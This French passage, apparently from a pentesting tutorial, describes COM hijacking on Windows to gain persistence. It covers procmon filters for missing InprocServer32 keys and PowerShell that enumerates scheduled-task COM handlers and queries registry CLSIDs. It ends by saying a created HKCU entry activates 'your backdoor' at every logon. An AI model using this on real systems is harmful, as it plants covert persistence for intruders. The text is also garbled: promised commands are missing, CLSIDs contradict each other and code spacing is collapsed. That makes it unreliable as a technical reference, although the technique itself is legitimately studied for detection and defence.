Comme les valeurs de HKCU peuvent être modifiées par les utilisateurs, le piratage COM pourrait être utilisé comme un mécanisme persistant. En utilisant procmon, il est facile de trouver des registres COM recherchés qui n'existent pas et que l'attaquant pourrait créer pour persister. Filtres :
Opérations RegOpenKey.
où le Résultat est NOM NON TROUVÉ.
et le Chemin se termine par InprocServer32.
Une fois que vous avez décidé quel COM inexistant impersonner, exécutez les commandes suivantes. Soyez prudent si vous décidez d'usurper un COM qui se charge toutes les quelques secondes car cela pourrait être excessif.
Composants COM du Planificateur de tâches pouvant être détournés
Les tâches Windows utilisent des déclencheurs personnalisés pour appeler des objets COM et parce qu'ils sont exécutés via le Planificateur de tâches, il est plus facile de prédire quand ils seront déclenchés.
# Afficher les CLSID COM$Tâches =Get-ScheduledTaskforeach ($Tâche in $Tâches){if ($Tâche.Actions.ClassId -ne$null){if ($Tâche.Triggers.Enabled -eq$true){$usersSid ="S-1-5-32-545"$usersGroup =Get-LocalGroup|Where-Object { $_.SID-eq $usersSid }if ($Tâche.Principal.GroupId -eq $usersGroup){Write-Host"Nom de la tâche: " $Tâche.TaskNameWrite-Host"Chemin de la tâche: " $Tâche.TaskPathWrite-Host"CLSID: " $Tâche.Actions.ClassIdWrite-Host}}}}# Exemple de sortie :# Nom de la tâche: Exemple# Chemin de la tâche: \Microsoft\Windows\Exemple\# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}# [plusieurs résultats similaires...]
En vérifiant la sortie, vous pouvez sélectionner une tâche qui sera exécutée à chaque fois qu'un utilisateur se connecte, par exemple.
Maintenant, en recherchant le CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} dans HKEY_CLASSES_ROOT\CLSID et dans HKLM et HKCU, vous constaterez généralement que la valeur n'existe pas dans HKCU.
# Exists in HKCR\CLSID\Get-ChildItem-Path"Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"NameProperty------------InprocServer32 (default) : C:\Windows\system32\some.dllThreadingModel:Both# Exists in HKLMGet-Item-Path"HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"|ft-AutoSizeNameProperty------------{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler# Doesn't exist in HKCUPSC:\> Get-Item-Path"HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"Get-Item:Cannotfindpath'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}'becauseitdoesnotexist.
Ensuite, vous pouvez simplement créer l'entrée HKCU et à chaque fois que l'utilisateur se connecte, votre porte dérobée sera activée.